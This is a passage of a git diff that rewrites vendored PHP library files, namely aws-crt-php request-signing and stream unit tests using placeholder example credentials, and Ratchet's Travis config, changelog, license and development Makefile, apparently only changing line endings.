default SigningConfigAWS"); - $config = null; - } - - public function testConfigAWSConstructionWithOptions() { - $options = SigningConfigAWS::defaults(); - $options['service'] = 'CRT'; - $options['region'] = 'CRT'; - $config = new SigningConfigAWS($options); - $this->assertNotNull($config, "Failed to create SigningConfigAWS with custom options"); - $config = null; - } - - public function testSignableFromHttpRequestLifetime() { - $request = new Request('GET', '/'); - $signable = Signable::fromHttpRequest($request); - $this->assertNotNull($signable, "Failed to create Signable from HTTP::Request"); - $signable = null; - } - - public function testSignableFromChunkLifetime() { - $chunk = "THIS IS A TEST CHUNK IT CONTAINS MULTITUDES"; - $stream = fopen("php://memory", 'r+'); - fputs($stream, $chunk); - rewind($stream); - $signable = Signable::fromChunk($stream); - $this->assertNotNull($signable, "Failed to create Signable from chunk stream"); - $signable = null; - } - - public function testSignableFromCanonicalRequestLifetime() { - $canonical_request = "THIS IS A CANONICAL_REQUEST. IT IS DEEPLY CANONICAL"; - $signable = Signable::fromCanonicalRequest($canonical_request); - $this->assertNotNull($signable, "Failed to create Signable from canonical request"); - $signable = null; - } - - const SIGV4TEST_ACCESS_KEY_ID = 'AKIDEXAMPLE'; - const SIGV4TEST_SECRET_ACCESS_KEY = 'wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLEKEY'; - const SIGV4TEST_SESSION_TOKEN = null; - const SIGV4TEST_SERVICE = 'service'; - const SIGV4TEST_REGION = 'us-east-1'; - private static function SIGV4TEST_DATE() { - return mktime(12, 36, 0, 8, 30, 2015); - } - - public function testShouldSignHeader() { - $credentials_provider = new StaticCredentialsProvider([ - 'access_key_id' => self::SIGV4TEST_ACCESS_KEY_ID, - 'secret_access_key' => self::SIGV4TEST_SECRET_ACCESS_KEY, - 'session_token' => self::SIGV4TEST_SESSION_TOKEN, - ]); - $signing_config = new SigningConfigAWS([ - 'algorithm' => SigningAlgorithm::SIGv4, - 'signature_type' => SignatureType::HTTP_REQUEST_HEADERS, - 'credentials_provider' => $credentials_provider, - 'region' => self::SIGV4TEST_REGION, - 'service' => self::SIGV4TEST_SERVICE, - 'date' => self::SIGV4TEST_DATE(), - 'should_sign_header' => function($header) { - return strtolower($header) != 'x-do-not-sign'; - } - ]); - $http_request = new Request('GET', '/', [], [ - 'Host' => 'example.amazonaws.com', - 'X-Do-Not-Sign' => 'DO NOT SIGN THIS']); - $this->assertNotNull($http_request, "Unable to create HttpRequest for signing"); - $signable = Signable::fromHttpRequest($http_request); - $this->assertNotNull($signable, "Unable to create signable from HttpRequest"); - - Signing::signRequestAws( - $signable, $signing_config, - function($signing_result, $error_code) use (&$http_request) { - $this->assertEquals(0, $error_code); - $signing_result->applyToHttpRequest($http_request); - } - ); - - // This signature value is computed without the X-Do-Not-Sign header above - $headers = $http_request->headers(); - $this->assertEquals( - 'AWS4-HMAC-SHA256 Credential=AKIDEXAMPLE/20150830/us-east-1/service/aws4_request, SignedHeaders=host;x-amz-date, Signature=5fa00fa31553b73ebf1942676e86291e8372ff2a2260956d9b8aae1d763fbf31', - $headers->get('Authorization')); - } - - public function testSigv4HeaderSigning() { - $credentials_provider = new StaticCredentialsProvider([ - 'access_key_id' => self::SIGV4TEST_ACCESS_KEY_ID, - 'secret_access_key' => self::SIGV4TEST_SECRET_ACCESS_KEY, - 'session_token' => self::SIGV4TEST_SESSION_TOKEN, - ]); - $signing_config = new SigningConfigAWS([ - 'algorithm' => SigningAlgorithm::SIGv4, - 'signature_type' => SignatureType::HTTP_REQUEST_HEADERS, - 'credentials_provider' => $credentials_provider, - 'region' => self::SIGV4TEST_REGION, - 'service' => self::SIGV4TEST_SERVICE, - 'date' => self::SIGV4TEST_DATE(), - ]); - $http_request = new Request('GET', '/', [], ['Host' => 'example.amazonaws.com']); - $this->assertNotNull($http_request, "Unable to create HttpRequest for signing"); - $signable = Signable::fromHttpRequest($http_request); - $this->assertNotNull($signable, "Unable to create signable from HttpRequest"); - - Signing::signRequestAws( - $signable, $signing_config, - function($signing_result, $error_code) use (&$http_request) { - $this->assertEquals(0, $error_code); - $signing_result->applyToHttpRequest($http_request); - } - ); - - $headers = $http_request->headers(); - $this->assertEquals( - 'AWS4-HMAC-SHA256 Credential=AKIDEXAMPLE/20150830/us-east-1/service/aws4_request, SignedHeaders=host;x-amz-date, Signature=5fa00fa31553b73ebf1942676e86291e8372ff2a2260956d9b8aae1d763fbf31', - $headers->get('Authorization')); - $this->assertEquals('20150830T123600Z', $headers->get('X-Amz-Date')); - } - - public function testSigV4aHeaderSigning() { - $credentials_provider = new StaticCredentialsProvider([ - 'access_key_id' => self::SIGV4TEST_ACCESS_KEY_ID, - 'secret_access_key' => self::SIGV4TEST_SECRET_ACCESS_KEY, - 'session_token' => self::SIGV4TEST_SESSION_TOKEN, - ]); - $signing_config = new SigningConfigAWS([ - 'algorithm' => SigningAlgorithm::SIGv4_ASYMMETRIC, - 'signature_type' => SignatureType::HTTP_REQUEST_HEADERS, - 'credentials_provider' => $credentials_provider, - 'region' => self::SIGV4TEST_REGION, - 'service' => self::SIGV4TEST_SERVICE, - 'date' => self::SIGV4TEST_DATE(), - ]); - - $http_request = new Request('GET', '/', [], ['Host' => 'example.amazonaws.com']); - $this->assertNotNull($http_request, "Unable to create HttpRequest for signing"); - $signable = Signable::fromHttpRequest($http_request); - $this->assertNotNull($signable, "Unable to create signable from HttpRequest"); - - Signing::signRequestAws( - $signable, $signing_config, - function($signing_result, $error_code) use (&$http_request) { - $this->assertEquals(0, $error_code); - $signing_result->applyToHttpRequest($http_request); - } - ); - - $headers = $http_request->headers(); - $auth_header_value = $headers->get('Authorization'); - $this->assertNotNull($auth_header_value); - $this->assertStringStartsWith( - 'AWS4-ECDSA-P256-SHA256 Credential=AKIDEXAMPLE/20150830/service/aws4_request, SignedHeaders=host;x-amz-date;x-amz-region-set, Signature=', - $auth_header_value); - $this->assertEquals('20150830T123600Z', $headers->get('X-Amz-Date')); - } -} +assertNotNull($config, "Failed to create default SigningConfigAWS"); + $config = null; + } + + public function testConfigAWSConstructionWithOptions() { + $options = SigningConfigAWS::defaults(); + $options['service'] = 'CRT'; + $options['region'] = 'CRT'; + $config = new SigningConfigAWS($options); + $this->assertNotNull($config, "Failed to create SigningConfigAWS with custom options"); + $config = null; + } + + public function testSignableFromHttpRequestLifetime() { + $request = new Request('GET', '/'); + $signable = Signable::fromHttpRequest($request); + $this->assertNotNull($signable, "Failed to create Signable from HTTP::Request"); + $signable = null; + } + + public function testSignableFromChunkLifetime() { + $chunk = "THIS IS A TEST CHUNK IT CONTAINS MULTITUDES"; + $stream = fopen("php://memory", 'r+'); + fputs($stream, $chunk); + rewind($stream); + $signable = Signable::fromChunk($stream); + $this->assertNotNull($signable, "Failed to create Signable from chunk stream"); + $signable = null; + } + + public function testSignableFromCanonicalRequestLifetime() { + $canonical_request = "THIS IS A CANONICAL_REQUEST. IT IS DEEPLY CANONICAL"; + $signable = Signable::fromCanonicalRequest($canonical_request); + $this->assertNotNull($signable, "Failed to create Signable from canonical request"); + $signable = null; + } + + const SIGV4TEST_ACCESS_KEY_ID = 'AKIDEXAMPLE'; + const SIGV4TEST_SECRET_ACCESS_KEY = 'wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLEKEY'; + const SIGV4TEST_SESSION_TOKEN = null; + const SIGV4TEST_SERVICE = 'service'; + const SIGV4TEST_REGION = 'us-east-1'; + private static function SIGV4TEST_DATE() { + return mktime(12, 36, 0, 8, 30, 2015); + } + + public function testShouldSignHeader() { + $credentials_provider = new StaticCredentialsProvider([ + 'access_key_id' => self::SIGV4TEST_ACCESS_KEY_ID, + 'secret_access_key' => self::SIGV4TEST_SECRET_ACCESS_KEY, + 'session_token' => self::SIGV4TEST_SESSION_TOKEN, + ]); + $signing_config = new SigningConfigAWS([ + 'algorithm' => SigningAlgorithm::SIGv4, + 'signature_type' => SignatureType::HTTP_REQUEST_HEADERS, + 'credentials_provider' => $credentials_provider, + 'region' => self::SIGV4TEST_REGION, + 'service' => self::SIGV4TEST_SERVICE, + 'date' => self::SIGV4TEST_DATE(), + 'should_sign_header' => function($header) { + return strtolower($header) != 'x-do-not-sign'; + } + ]); + $http_request = new Request('GET', '/', [], [ + 'Host' => 'example.amazonaws.com', + 'X-Do-Not-Sign' => 'DO NOT SIGN THIS']); + $this->assertNotNull($http_request, "Unable to create HttpRequest for signing"); + $signable = Signable::fromHttpRequest($http_request); + $this->assertNotNull($signable, "Unable to create signable from HttpRequest"); + + Signing::signRequestAws( + $signable, $signing_config, + function($signing_result, $error_code) use (&$http_request) { + $this->assertEquals(0, $error_code); + $signing_result->applyToHttpRequest($http_request); + } + ); + + // This signature value is computed without the X-Do-Not-Sign header above + $headers = $http_request->headers(); + $this->assertEquals( + 'AWS4-HMAC-SHA256 Credential=AKIDEXAMPLE/20150830/us-east-1/service/aws4_request, SignedHeaders=host;x-amz-date, Signature=5fa00fa31553b73ebf1942676e86291e8372ff2a2260956d9b8aae1d763fbf31', + $headers->get('Authorization')); + } + + public function testSigv4HeaderSigning() { + $credentials_provider = new StaticCredentialsProvider([ + 'access_key_id' => self::SIGV4TEST_ACCESS_KEY_ID, + 'secret_access_key' => self::SIGV4TEST_SECRET_ACCESS_KEY, + 'session_token' => self::SIGV4TEST_SESSION_TOKEN, + ]); + $signing_config = new SigningConfigAWS([ + 'algorithm' => SigningAlgorithm::SIGv4, + 'signature_type' => SignatureType::HTTP_REQUEST_HEADERS, + 'credentials_provider' => $credentials_provider, + 'region' => self::SIGV4TEST_REGION, + 'service' => self::SIGV4TEST_SERVICE, + 'date' => self::SIGV4TEST_DATE(), + ]); + $http_request = new Request('GET', '/', [], ['Host' => 'example.amazonaws.com']); + $this->assertNotNull($http_request, "Unable to create HttpRequest for signing"); + $signable = Signable::fromHttpRequest($http_request); + $this->assertNotNull($signable, "Unable to create signable from HttpRequest"); + + Signing::signRequestAws( + $signable, $signing_config, + function($signing_result, $error_code) use (&$http_request) { + $this->assertEquals(0, $error_code); + $signing_result->applyToHttpRequest($http_request); + } + ); + + $headers = $http_request->headers(); + $this->assertEquals( + 'AWS4-HMAC-SHA256 Credential=AKIDEXAMPLE/20150830/us-east-1/service/aws4_request, SignedHeaders=host;x-amz-date, Signature=5fa00fa31553b73ebf1942676e86291e8372ff2a2260956d9b8aae1d763fbf31', + $headers->get('Authorization')); + $this->assertEquals('20150830T123600Z', $headers->get('X-Amz-Date')); + } + + public function testSigV4aHeaderSigning() { + $credentials_provider = new StaticCredentialsProvider([ + 'access_key_id' => self::SIGV4TEST_ACCESS_KEY_ID, + 'secret_access_key' => self::SIGV4TEST_SECRET_ACCESS_KEY, + 'session_token' => self::SIGV4TEST_SESSION_TOKEN, + ]); + $signing_config = new SigningConfigAWS([ + 'algorithm' => SigningAlgorithm::SIGv4_ASYMMETRIC, + 'signature_type' => SignatureType::HTTP_REQUEST_HEADERS, + 'credentials_provider' => $credentials_provider, + 'region' => self::SIGV4TEST_REGION, + 'service' => self::SIGV4TEST_SERVICE, + 'date' => self::SIGV4TEST_DATE(), + ]); + + $http_request = new Request('GET', '/', [], ['Host' => 'example.amazonaws.com']); + $this->assertNotNull($http_request, "Unable to create HttpRequest for signing"); + $signable = Signable::fromHttpRequest($http_request); + $this->assertNotNull($signable, "Unable to create signable from HttpRequest"); + + Signing::signRequestAws( + $signable, $signing_config, + function($signing_result, $error_code) use (&$http_request) { + $this->assertEquals(0, $error_code); + $signing_result->applyToHttpRequest($http_request); + } + ); + + $headers = $http_request->headers(); + $auth_header_value = $headers->get('Authorization'); + $this->assertNotNull($auth_header_value); + $this->assertStringStartsWith( + 'AWS4-ECDSA-P256-SHA256 Credential=AKIDEXAMPLE/20150830/service/aws4_request, SignedHeaders=host;x-amz-date;x-amz-region-set, Signature=', + $auth_header_value); + $this->assertEquals('20150830T123600Z', $headers->get('X-Amz-Date')); + } +} diff --git a/vendor/aws/aws-crt-php/tests/StreamTest.php b/vendor/aws/aws-crt-php/tests/StreamTest.php index 83977d06f3..f8a116a6aa 100644 --- a/vendor/aws/aws-crt-php/tests/StreamTest.php +++ b/vendor/aws/aws-crt-php/tests/StreamTest.php @@ -1,34 +1,34 @@ -getMemoryStream(); - $stream = new InputStream($mem_stream); - $this->assertNotNull($stream, "Failed to create InputStream from PHP memory stream"); - $this->assertEquals(strlen(self::MEM_STREAM_CONTENTS), $stream->length(), "Stream length doesn't match source buffer"); - $this->assertEquals(self::MEM_STREAM_CONTENTS, $stream->read(), "Stream doesn't match source buffer"); - $this->assertTrue($stream->eof(), "Stream is not EOF after reading"); - $this->assertEquals(0, $stream->seek(0, InputStream::SEEK_BEGIN), "Unable to rewind stream"); - $this->assertFalse($stream->eof(), "Stream is EOF after rewinding"); - $this->assertEquals(0, $stream->seek(0, InputStream::SEEK_END), "Unable to seek to end of stream"); - $this->assertTrue($stream->eof(), "Stream is not EOF after seeking to end"); - $stream = null; - } -} +getMemoryStream(); + $stream = new InputStream($mem_stream); + $this->assertNotNull($stream, "Failed to create InputStream from PHP memory stream"); + $this->assertEquals(strlen(self::MEM_STREAM_CONTENTS), $stream->length(), "Stream length doesn't match source buffer"); + $this->assertEquals(self::MEM_STREAM_CONTENTS, $stream->read(), "Stream doesn't match source buffer"); + $this->assertTrue($stream->eof(), "Stream is not EOF after reading"); + $this->assertEquals(0, $stream->seek(0, InputStream::SEEK_BEGIN), "Unable to rewind stream"); + $this->assertFalse($stream->eof(), "Stream is EOF after rewinding"); + $this->assertEquals(0, $stream->seek(0, InputStream::SEEK_END), "Unable to seek to end of stream"); + $this->assertTrue($stream->eof(), "Stream is not EOF after seeking to end"); + $stream = null; + } +} diff --git a/vendor/aws/aws-crt-php/tests/common.inc b/vendor/aws/aws-crt-php/tests/common.inc index 8172b4ab01..1a7e8f8d4d 100644 --- a/vendor/aws/aws-crt-php/tests/common.inc +++ b/vendor/aws/aws-crt-php/tests/common.inc @@ -1,34 +1,34 @@ -fail("Test left an error on the stack: " . CRT::error_name(CRT::last_error())); - } - } - - // Shim missing calls in older versions of PHPUnit - public function __call($name, $arguments) { - // shim expectException -> setExpectedException for PHPUnit 4.8.x - if ($name == 'expectException') { - $this->setExpectedException($arguments[0]); - } - } -} +fail("Test left an error on the stack: " . CRT::error_name(CRT::last_error())); + } + } + + // Shim missing calls in older versions of PHPUnit + public function __call($name, $arguments) { + // shim expectException -> setExpectedException for PHPUnit 4.8.x + if ($name == 'expectException') { + $this->setExpectedException($arguments[0]); + } + } +} diff --git a/vendor/cboden/ratchet/.gitignore b/vendor/cboden/ratchet/.gitignore new file mode 100644 index 0000000000..b9d092306b --- /dev/null +++ b/vendor/cboden/ratchet/.gitignore @@ -0,0 +1,5 @@ +phpunit.xml +reports +sandbox +vendor +composer.lock \ No newline at end of file diff --git a/vendor/cboden/ratchet/.travis.yml b/vendor/cboden/ratchet/.travis.yml index dabe3f0572..3d9ebc7ecb 100644 --- a/vendor/cboden/ratchet/.travis.yml +++ b/vendor/cboden/ratchet/.travis.yml @@ -1,15 +1,15 @@ -language: php - -php: - - 5.4 - - 5.5 - - 5.6 - - 7.0 - - 7.1 - -dist: trusty - -before_script: - - sh -c 'if [ "$TRAVIS_PHP_VERSION" != "hhvm" ]; then echo "session.serialize_handler = php" >> ~/.phpenv/versions/$(phpenv version-name)/etc/php.ini; fi;' - - php -m - - composer install --dev --prefer-source +language: php + +php: + - 5.4 + - 5.5 + - 5.6 + - 7.0 + - 7.1 + +dist: trusty + +before_script: + - sh -c 'if [ "$TRAVIS_PHP_VERSION" != "hhvm" ]; then echo "session.serialize_handler = php" >> ~/.phpenv/versions/$(phpenv version-name)/etc/php.ini; fi;' + - php -m + - composer install --dev --prefer-source diff --git a/vendor/cboden/ratchet/CHANGELOG.md b/vendor/cboden/ratchet/CHANGELOG.md index d4a2883083..624bedaddf 100644 --- a/vendor/cboden/ratchet/CHANGELOG.md +++ b/vendor/cboden/ratchet/CHANGELOG.md @@ -1,145 +1,145 @@ -CHANGELOG -========= - -### Legend - -* "BC": Backwards compatibility break (from public component APIs) -* "BF": Bug fix - ---- - -* 0.4.3 (2020-06-04) - * BF: Fixed interface acceptable regression in `App` - * Update RFC6455 library with latest fixes - -* 0.4.2 (2020-01-27) - * Support Symfony 5 - * BF: Use phpunit from vendor directory - * Allow disabling of xdebug warning by defining `RATCHET_DISABLE_XDEBUG_WARN` - * Stop using `LoopInterface::tick()` for testing - -* 0.4.1 (2017-12-11) - * Only enableKeepAlive in App if no WsServer passed allowing user to set their own timeout duration - * Support Symfony 4 - * BF: Plug NOOP controller in connection from router in case of misbehaving client - * BF: Raise error from invalid WAMP payload - -* 0.4 (2017-09-14) - * BC: $conn->WebSocket->request replaced with $conn->httpRequest which is a PSR-7 object - * Binary messages now supported via Ratchet\WebSocket\MessageComponentInterface - * Added heartbeat support via ping/pong in WsServer - * BC: No longer support old (and insecure) Hixie76 and Hybi protocols - * BC: No longer support disabling UTF-8 checks - * BC: The Session component implements HttpServerInterface instead of WsServerInterface - * BC: PHP 5.3 no longer supported - * BC: Update to newer version of react/socket dependency - * BC: WAMP topics reduced to 0 subscriptions are deleted, new subs to same name will result in new Topic instance - * Significant performance enhancements - -* 0.3.6 (2017-01-06) - * BF: Keep host and scheme in HTTP request object attatched to connection - * BF: Return correct HTTP response (405) when non-GET request made - -* 0.3.5 (2016-05-25) - * BF: Unmask responding close frame - * Added write handler for PHP session serializer - -* 0.3.4 (2015-12-23) - * BF: Edge case where version check wasn't run on message coalesce - * BF: Session didn't start when using pdo_sqlite - * BF: WAMP currie prefix check when using '#' - * Compatibility with Symfony 3 - -* 0.3.3 (2015-05-26) - * BF: Framing bug on large messages upon TCP fragmentation - * BF: Symfony Router query parameter defaults applied to Request - * BF: WAMP CURIE on all URIs - * OriginCheck rules applied to FlashPolicy - * Switched from PSR-0 to PSR-4 - -* 0.3.2 (2014-06-08) - * BF: No messages after closing handshake (fixed rare race condition causing 100% CPU) - * BF: Fixed accidental BC break from v0.3.1 - * Added autoDelete parameter to Topic to destroy when empty of connections - * Exposed React Socket on IoServer (allowing FlashPolicy shutdown in App) - * Normalized Exceptions in WAMP - -* 0.3.1 (2014-05-26) - * Added query parameter support to Router, set in HTTP request (ws://server?hello=world) - * HHVM compatibility - * BF: React/0.4 support; CPU starvation bug fixes - * BF: Allow App::route to ignore Host header - * Added expected filters to WAMP Topic broadcast method - * Resource cleanup in WAMP TopicManager - -* 0.3.0 (2013-10-14) - * Added the `App` class to help making Ratchet so easy to use it's silly - * BC: Require hostname to do HTTP Host header match and do Origin HTTP header check, verify same name by default, helping prevent CSRF attacks - * Added Symfony/2.2 based HTTP Router component to allowing for a single Ratchet server to handle multiple apps -> Ratchet\Http\Router - * BC: Decoupled HTTP from WebSocket component -> Ratchet\Http\HttpServer - * BF: Single sub-protocol selection to conform with RFC6455 - * BF: Sanity checks on WAMP protocol to prevent errors - -* 0.2.8 (2013-09-19) - * React 0.3 support - -* 0.2.7 (2013-06-09) - * BF: Sub-protocol negotation with Guzzle 3.6 - -* 0.2.6 (2013-06-01) - * Guzzle 3.6 support - -* 0.2.5 (2013-04-01) - * Fixed Hixie-76 handshake bug - -* 0.2.4 (2013-03-09) - * Support for Symfony 2.2 and Guzzle 2.3 - * Minor bug fixes when handling errors - -* 0.2.3 (2012-11-21) - * Bumped dep: Guzzle to v3, React to v0.2.4 - * More tests - -* 0.2.2 (2012-10-20) - * Bumped deps to use React v0.2 - -* 0.2.1 (2012-10-13) - * BF: No more UTF-8 warnings in browsers (no longer sending empty sub-protocol string) - * Documentation corrections - * Using new composer structure - -* 0.2 (2012-09-07) - * Ratchet passes every non-binary-frame test from the Autobahn Testsuite - * Major performance improvements - * BC: Renamed "WampServer" to "ServerProtocol" - * BC: New "WampServer" component passes Topic container objects of subscribed Connections - * Option to turn off UTF-8 checks in order to increase performance - * Switched dependency guzzle/guzzle to guzzle/http (no API changes) - * mbstring no longer required - -* 0.1.5 (2012-07-12) - * BF: Error where service wouldn't run on PHP <= 5.3.8 - * Dependency library updates - -* 0.1.4 (2012-06-17) - * Fixed dozens of failing AB tests - * BF: Proper socket buffer handling - -* 0.1.3 (2012-06-15) - * Major refactor inside WebSocket protocol handling, more loosley coupled - * BF: Proper error handling on failed WebSocket connections - * BF: Handle TCP message concatenation - * Inclusion of the AutobahnTestSuite checking WebSocket protocol compliance - * mb_string now a requirement - -* 0.1.2 (2012-05-19) - * BC/BF: Updated WAMP API to coincide with the official spec - * Tweaks to improve running as a long lived process - -* 0.1.1 (2012-05-14) - * Separated interfaces allowing WebSockets to support multiple sub protocols - * BF: remoteAddress variable on connections returns proper value - -* 0.1 (2012-05-11) - * First release with components: IoServer, WsServer, SessionProvider, WampServer, FlashPolicy, IpBlackList - * I/O now handled by React, making Ratchet fully asynchronous +CHANGELOG +========= + +### Legend + +* "BC": Backwards compatibility break (from public component APIs) +* "BF": Bug fix + +--- + +* 0.4.3 (2020-06-04) + * BF: Fixed interface acceptable regression in `App` + * Update RFC6455 library with latest fixes + +* 0.4.2 (2020-01-27) + * Support Symfony 5 + * BF: Use phpunit from vendor directory + * Allow disabling of xdebug warning by defining `RATCHET_DISABLE_XDEBUG_WARN` + * Stop using `LoopInterface::tick()` for testing + +* 0.4.1 (2017-12-11) + * Only enableKeepAlive in App if no WsServer passed allowing user to set their own timeout duration + * Support Symfony 4 + * BF: Plug NOOP controller in connection from router in case of misbehaving client + * BF: Raise error from invalid WAMP payload + +* 0.4 (2017-09-14) + * BC: $conn->WebSocket->request replaced with $conn->httpRequest which is a PSR-7 object + * Binary messages now supported via Ratchet\WebSocket\MessageComponentInterface + * Added heartbeat support via ping/pong in WsServer + * BC: No longer support old (and insecure) Hixie76 and Hybi protocols + * BC: No longer support disabling UTF-8 checks + * BC: The Session component implements HttpServerInterface instead of WsServerInterface + * BC: PHP 5.3 no longer supported + * BC: Update to newer version of react/socket dependency + * BC: WAMP topics reduced to 0 subscriptions are deleted, new subs to same name will result in new Topic instance + * Significant performance enhancements + +* 0.3.6 (2017-01-06) + * BF: Keep host and scheme in HTTP request object attatched to connection + * BF: Return correct HTTP response (405) when non-GET request made + +* 0.3.5 (2016-05-25) + * BF: Unmask responding close frame + * Added write handler for PHP session serializer + +* 0.3.4 (2015-12-23) + * BF: Edge case where version check wasn't run on message coalesce + * BF: Session didn't start when using pdo_sqlite + * BF: WAMP currie prefix check when using '#' + * Compatibility with Symfony 3 + +* 0.3.3 (2015-05-26) + * BF: Framing bug on large messages upon TCP fragmentation + * BF: Symfony Router query parameter defaults applied to Request + * BF: WAMP CURIE on all URIs + * OriginCheck rules applied to FlashPolicy + * Switched from PSR-0 to PSR-4 + +* 0.3.2 (2014-06-08) + * BF: No messages after closing handshake (fixed rare race condition causing 100% CPU) + * BF: Fixed accidental BC break from v0.3.1 + * Added autoDelete parameter to Topic to destroy when empty of connections + * Exposed React Socket on IoServer (allowing FlashPolicy shutdown in App) + * Normalized Exceptions in WAMP + +* 0.3.1 (2014-05-26) + * Added query parameter support to Router, set in HTTP request (ws://server?hello=world) + * HHVM compatibility + * BF: React/0.4 support; CPU starvation bug fixes + * BF: Allow App::route to ignore Host header + * Added expected filters to WAMP Topic broadcast method + * Resource cleanup in WAMP TopicManager + +* 0.3.0 (2013-10-14) + * Added the `App` class to help making Ratchet so easy to use it's silly + * BC: Require hostname to do HTTP Host header match and do Origin HTTP header check, verify same name by default, helping prevent CSRF attacks + * Added Symfony/2.2 based HTTP Router component to allowing for a single Ratchet server to handle multiple apps -> Ratchet\Http\Router + * BC: Decoupled HTTP from WebSocket component -> Ratchet\Http\HttpServer + * BF: Single sub-protocol selection to conform with RFC6455 + * BF: Sanity checks on WAMP protocol to prevent errors + +* 0.2.8 (2013-09-19) + * React 0.3 support + +* 0.2.7 (2013-06-09) + * BF: Sub-protocol negotation with Guzzle 3.6 + +* 0.2.6 (2013-06-01) + * Guzzle 3.6 support + +* 0.2.5 (2013-04-01) + * Fixed Hixie-76 handshake bug + +* 0.2.4 (2013-03-09) + * Support for Symfony 2.2 and Guzzle 2.3 + * Minor bug fixes when handling errors + +* 0.2.3 (2012-11-21) + * Bumped dep: Guzzle to v3, React to v0.2.4 + * More tests + +* 0.2.2 (2012-10-20) + * Bumped deps to use React v0.2 + +* 0.2.1 (2012-10-13) + * BF: No more UTF-8 warnings in browsers (no longer sending empty sub-protocol string) + * Documentation corrections + * Using new composer structure + +* 0.2 (2012-09-07) + * Ratchet passes every non-binary-frame test from the Autobahn Testsuite + * Major performance improvements + * BC: Renamed "WampServer" to "ServerProtocol" + * BC: New "WampServer" component passes Topic container objects of subscribed Connections + * Option to turn off UTF-8 checks in order to increase performance + * Switched dependency guzzle/guzzle to guzzle/http (no API changes) + * mbstring no longer required + +* 0.1.5 (2012-07-12) + * BF: Error where service wouldn't run on PHP <= 5.3.8 + * Dependency library updates + +* 0.1.4 (2012-06-17) + * Fixed dozens of failing AB tests + * BF: Proper socket buffer handling + +* 0.1.3 (2012-06-15) + * Major refactor inside WebSocket protocol handling, more loosley coupled + * BF: Proper error handling on failed WebSocket connections + * BF: Handle TCP message concatenation + * Inclusion of the AutobahnTestSuite checking WebSocket protocol compliance + * mb_string now a requirement + +* 0.1.2 (2012-05-19) + * BC/BF: Updated WAMP API to coincide with the official spec + * Tweaks to improve running as a long lived process + +* 0.1.1 (2012-05-14) + * Separated interfaces allowing WebSockets to support multiple sub protocols + * BF: remoteAddress variable on connections returns proper value + +* 0.1 (2012-05-11) + * First release with components: IoServer, WsServer, SessionProvider, WampServer, FlashPolicy, IpBlackList + * I/O now handled by React, making Ratchet fully asynchronous diff --git a/vendor/cboden/ratchet/LICENSE b/vendor/cboden/ratchet/LICENSE index 09c73d12f9..9255875fe4 100644 --- a/vendor/cboden/ratchet/LICENSE +++ b/vendor/cboden/ratchet/LICENSE @@ -1,19 +1,19 @@ -Copyright (c) 2011-2020 Chris Boden - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is furnished -to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. +Copyright (c) 2011-2020 Chris Boden + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/vendor/cboden/ratchet/Makefile b/vendor/cboden/ratchet/Makefile index 392ee01e9a..8054867f7c 100644 --- a/vendor/cboden/ratchet/Makefile +++ b/vendor/cboden/ratchet/Makefile @@ -1,42 +1,42 @@ -# This file is intended to ease the author's development and testing process -# Users do not need to use `make`; Ratchet does not need to be compiled - -test: - vendor/bin/phpunit - -cover: - vendor/bin/phpunit --coverage-text --coverage-html=reports/coverage - -abtests: - ulimit -n 2048 && php tests/autobahn/bin/fuzzingserver.php 8001 LibEvent & - ulimit -n 2048 && php tests/autobahn/bin/fuzzingserver.php 8002 StreamSelect & - ulimit -n 2048 && php tests/autobahn/bin/fuzzingserver.php 8004 LibEv & - wstest -m testeeserver -w ws://localhost:8000 & - sleep 1 - wstest -m fuzzingclient -s tests/autobahn/fuzzingclient-all.json - killall php wstest - -abtest: - ulimit -n 2048 && php tests/autobahn/bin/fuzzingserver.php 8000 StreamSelect & - sleep 1 - wstest -m fuzzingclient -s tests/autobahn/fuzzingclient-quick.json - killall php - -profile: - php -d 'xdebug.profiler_enable=1' tests/autobahn/bin/fuzzingserver.php 8000 LibEvent & - sleep 1 - wstest -m fuzzingclient -s tests/autobahn/fuzzingclient-profile.json - killall php - -apidocs: - apigen --title Ratchet -d reports/api \ - -s src/ \ - -s vendor/ratchet/rfc6455/src \ - -s vendor/react/event-loop/src \ - -s vendor/react/socket/src \ - -s vendor/react/stream/src \ - -s vendor/psr/http-message/src \ - -s vendor/symfony/http-foundation/Session \ - -s vendor/symfony/routing \ - -s vendor/evenement/evenement/src/Evenement \ - --exclude=vendor/symfony/routing/Tests \ +# This file is intended to ease the author's development and testing process +# Users do not need to use `make`; Ratchet does not need to be compiled + +test: + vendor/bin/phpunit + +cover: + vendor/bin/phpunit --coverage-text --coverage-html=reports/coverage + +abtests: + ulimit -n 2048 && php tests/autobahn/bin/fuzzingserver.php 